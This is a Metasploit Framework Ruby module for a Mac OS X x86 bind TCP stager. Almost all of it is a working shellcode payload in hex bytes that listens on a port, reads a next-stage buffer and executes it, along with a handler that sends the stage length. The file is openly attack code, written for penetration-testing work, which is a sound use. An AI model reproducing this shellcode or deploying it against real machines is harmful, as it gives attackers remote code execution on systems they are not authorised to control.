modules/payloads/stagers/osx/x86/bind_tcp.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# BindTcp
# -------
#
# Mac OS X x86 bind TCP stager.
#
###
module MetasploitModule
CachedSize = 144
include Msf::Payload::Stager
def initialize(info = { })
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Description' => 'Listen, read length, read buffer, execute',
'Author' => 'ddz',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'Offsets' => { 'LPORT' => [ 27, 'n'] },
'Payload' =>
"\x31\xc0\x99\x50\x40\x50\x40\x50"+
"\x52\xb0\x61\xcd\x80\x0f\x82\x7d"+
"\x00\x00\x00\x89\xc6\x52\x52\x52"+
"\x68\x00\x02\x34\x12\x89\xe3\x6a"+
"\x10\x53\x56\x52\xb0\x68\xcd\x80"+
"\x72\x66\x52\x56\x52\xb0\x6a\xcd"+
"\x80\x72\x5d\x52\x52\x56\x52\xb0"+
"\x1e\xcd\x80\x72\x53\x89\xc7\x89"+
"\xe5\x83\xec\x08\x31\xc9\xf7\xe1"+
"\x51\x89\xe6\xb0\x04\x50\x56\x57"+
"\x50\x48\xcd\x80\x72\x3a\x8b\x74"+
"\x24\x10\x31\xc0\x50\x50\x48\x50"+
"\x40\x66\xb8\x02\x10\x50\x31\xc0"+
"\xb0\x07\x50\x56\x52\x52\xb0\xc5"+
"\xcd\x80\x72\x1c\x89\xc3\x01\xf3"+
"\x56\x89\xd8\x29\xf0\x50\x57\x52"+
"\x31\xc0\xb0\x03\xcd\x80\x72\x08"+
"\x29\xc3\x29\xc6\x75\xea\xff\xe3"
}
))
end
def handle_intermediate_stage(conn, p)
#
# Our stager payload expects to see a next-stage length first.
#
conn.put([p.length].pack('V'))
end
end